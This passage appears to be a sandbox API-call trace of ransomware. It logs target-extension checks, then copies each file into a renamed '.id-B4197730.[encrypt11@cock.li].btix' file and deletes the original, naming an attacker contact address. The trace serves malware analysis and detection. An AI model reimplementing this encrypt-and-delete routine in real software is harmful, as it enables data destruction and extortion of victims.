-1 [0042.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.054] lstrlenW (lpString=".doc") returned 4 [0042.054] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString=".docx") returned 5 [0042.054] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0042.055] lstrlenW (lpString=".pdf") returned 4 [0042.055] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString=".xls") returned 4 [0042.055] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString=".xlsx") returned 5 [0042.055] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0042.055] lstrlenW (lpString=".ppt") returned 4 [0042.055] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.055] lstrlenW (lpString=".zip") returned 4 [0042.055] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString=".rar") returned 4 [0042.055] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString=".bz2") returned 4 [0042.055] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString=".7z") returned 3 [0042.055] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0042.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.055] lstrlenW (lpString=".dbf") returned 4 [0042.055] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.055] lstrlenW (lpString=".1cd") returned 4 [0042.055] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0042.055] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.055] lstrlenW (lpString=".jpg") returned 4 [0042.055] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0042.055] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.055] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.141] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=15704) returned 1 [0042.141] CloseHandle (hObject=0x320) returned 1 [0042.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0042.142] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.142] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.142] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0042.150] GetLastError () returned 0x0 [0042.150] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0042.236] WriteFile (in: hFile=0x324, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0042.237] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.237] WriteFile (in: hFile=0x324, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.237] SetEndOfFile (hFile=0x324) returned 1 [0042.238] CloseHandle (hObject=0x324) returned 1 [0042.239] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.239] SetEndOfFile (hFile=0x320) returned 1 [0042.240] CloseHandle (hObject=0x320) returned 1 [0042.240] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.240] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0042.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.241] lstrlenW (lpString=".doc") returned 4 [0042.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.241] lstrlenW (lpString=".docx") returned 5 [0042.241] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.241] lstrlenW (lpString=".pdf") returned 4 [0042.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.241] lstrlenW (lpString=".xls") returned 4 [0042.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.241] lstrlenW (lpString=".xlsx") returned 5 [0042.241] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.241] lstrlenW (lpString=".ppt") returned 4 [0042.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.241] lstrlenW (lpString=".zip") returned 4 [0042.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.241] lstrlenW (lpString=".rar") returned 4 [0042.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.241] lstrlenW (lpString=".bz2") returned 4 [0042.241] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.241] lstrlenW (lpString=".7z") returned 3 [0042.241] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.242] lstrlenW (lpString=".dbf") returned 4 [0042.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.242] lstrlenW (lpString=".1cd") returned 4 [0042.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.242] lstrlenW (lpString=".jpg") returned 4 [0042.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.242] lstrlenW (lpString=".doc") returned 4 [0042.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.242] lstrlenW (lpString=".docx") returned 5 [0042.242] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.242] lstrlenW (lpString=".pdf") returned 4 [0042.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.242] lstrlenW (lpString=".xls") returned 4 [0042.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.242] lstrlenW (lpString=".xlsx") returned 5 [0042.242] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.242] lstrlenW (lpString=".ppt") returned 4 [0042.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.242] lstrlenW (lpString=".zip") returned 4 [0042.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.243] lstrlenW (lpString=".rar") returned 4 [0042.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.243] lstrlenW (lpString=".bz2") returned 4 [0042.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.243] lstrlenW (lpString=".7z") returned 3 [0042.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.243] lstrlenW (lpString=".dbf") returned 4 [0042.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.243] lstrlenW (lpString=".1cd") returned 4 [0042.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0042.243] lstrlenW (lpString=".jpg") returned 4 [0042.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.244] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.244] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.244] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=17752) returned 1 [0042.244] CloseHandle (hObject=0x320) returned 1 [0042.244] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0042.244] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.245] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.245] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0042.321] GetLastError () returned 0x0 [0042.321] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4558, lpOverlapped=0x0) returned 1 [0042.368] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x4560, lpOverlapped=0x0) returned 1 [0042.369] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.369] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.369] SetEndOfFile (hFile=0x2d8) returned 1 [0042.370] CloseHandle (hObject=0x2d8) returned 1 [0042.370] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.370] SetEndOfFile (hFile=0x320) returned 1 [0042.371] CloseHandle (hObject=0x320) returned 1 [0042.371] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.372] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0042.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.372] lstrlenW (lpString=".doc") returned 4 [0042.372] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.372] lstrlenW (lpString=".docx") returned 5 [0042.372] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.372] lstrlenW (lpString=".pdf") returned 4 [0042.372] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.372] lstrlenW (lpString=".xls") returned 4 [0042.372] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.372] lstrlenW (lpString=".xlsx") returned 5 [0042.372] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.372] lstrlenW (lpString=".ppt") returned 4 [0042.372] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.372] lstrlenW (lpString=".zip") returned 4 [0042.372] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.372] lstrlenW (lpString=".rar") returned 4 [0042.372] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.373] lstrlenW (lpString=".bz2") returned 4 [0042.373] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.373] lstrlenW (lpString=".7z") returned 3 [0042.373] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.373] lstrlenW (lpString=".dbf") returned 4 [0042.373] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.373] lstrlenW (lpString=".1cd") returned 4 [0042.373] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.373] lstrlenW (lpString=".jpg") returned 4 [0042.373] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.373] lstrlenW (lpString=".doc") returned 4 [0042.373] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.373] lstrlenW (lpString=".docx") returned 5 [0042.373] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.373] lstrlenW (lpString=".pdf") returned 4 [0042.373] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.373] lstrlenW (lpString=".xls") returned 4 [0042.373] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.373] lstrlenW (lpString=".xlsx") returned 5 [0042.373] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.373] lstrlenW (lpString=".ppt") returned 4 [0042.373] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.373] lstrlenW (lpString=".zip") returned 4 [0042.373] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.373] lstrlenW (lpString=".rar") returned 4 [0042.373] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.374] lstrlenW (lpString=".bz2") returned 4 [0042.374] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.374] lstrlenW (lpString=".7z") returned 3 [0042.374] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.374] lstrlenW (lpString=".dbf") returned 4 [0042.374] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.374] lstrlenW (lpString=".1cd") returned 4 [0042.374] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0042.374] lstrlenW (lpString=".jpg") returned 4 [0042.374] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.374] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.374] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.374] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.374] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=17752) returned 1 [0042.374] CloseHandle (hObject=0x320) returned 1 [0042.374] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0042.374] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.374] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0042.375] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.375] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.375] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0042.377] GetLastError () returned 0x0 [0042.377] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4558, lpOverlapped=0x0) returned 1 [0042.452] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x4560, lpOverlapped=0x0) returned 1 [0042.453] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.454] WriteFile (in: hFile=0x2d8, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.454] SetEndOfFile (hFile=0x2d8) returned 1 [0042.454] CloseHandle (hObject=0x2d8) returned 1 [0042.454] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.454] SetEndOfFile (hFile=0x320) returned 1 [0042.455] CloseHandle (hObject=0x320) returned 1 [0042.455] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.456] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0042.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.456] lstrlenW (lpString=".doc") returned 4 [0042.456] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.456] lstrlenW (lpString=".docx") returned 5 [0042.456] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.456] lstrlenW (lpString=".pdf") returned 4 [0042.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.456] lstrlenW (lpString=".xls") returned 4 [0042.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.456] lstrlenW (lpString=".xlsx") returned 5 [0042.456] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.456] lstrlenW (lpString=".ppt") returned 4 [0042.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.456] lstrlenW (lpString=".zip") returned 4 [0042.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.456] lstrlenW (lpString=".rar") returned 4 [0042.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.456] lstrlenW (lpString=".bz2") returned 4 [0042.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.456] lstrlenW (lpString=".7z") returned 3 [0042.456] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.456] lstrlenW (lpString=".dbf") returned 4 [0042.456] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.456] lstrlenW (lpString=".1cd") returned 4 [0042.456] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.457] lstrlenW (lpString=".jpg") returned 4 [0042.457] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.457] lstrlenW (lpString=".doc") returned 4 [0042.457] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.457] lstrlenW (lpString=".docx") returned 5 [0042.457] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.457] lstrlenW (lpString=".pdf") returned 4 [0042.457] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.457] lstrlenW (lpString=".xls") returned 4 [0042.457] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.457] lstrlenW (lpString=".xlsx") returned 5 [0042.457] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.457] lstrlenW (lpString=".ppt") returned 4 [0042.457] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.457] lstrlenW (lpString=".zip") returned 4 [0042.457] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.457] lstrlenW (lpString=".rar") returned 4 [0042.457] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.457] lstrlenW (lpString=".bz2") returned 4 [0042.457] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.457] lstrlenW (lpString=".7z") returned 3 [0042.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.457] lstrlenW (lpString=".dbf") returned 4 [0042.457] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.457] lstrlenW (lpString=".1cd") returned 4 [0042.457] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0042.457] lstrlenW (lpString=".jpg") returned 4 [0042.457] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.458] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.458] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0043.184] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=18776) returned 1 [0043.184] CloseHandle (hObject=0x344) returned 1 [0043.184] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0043.184] GetFileAttributesW 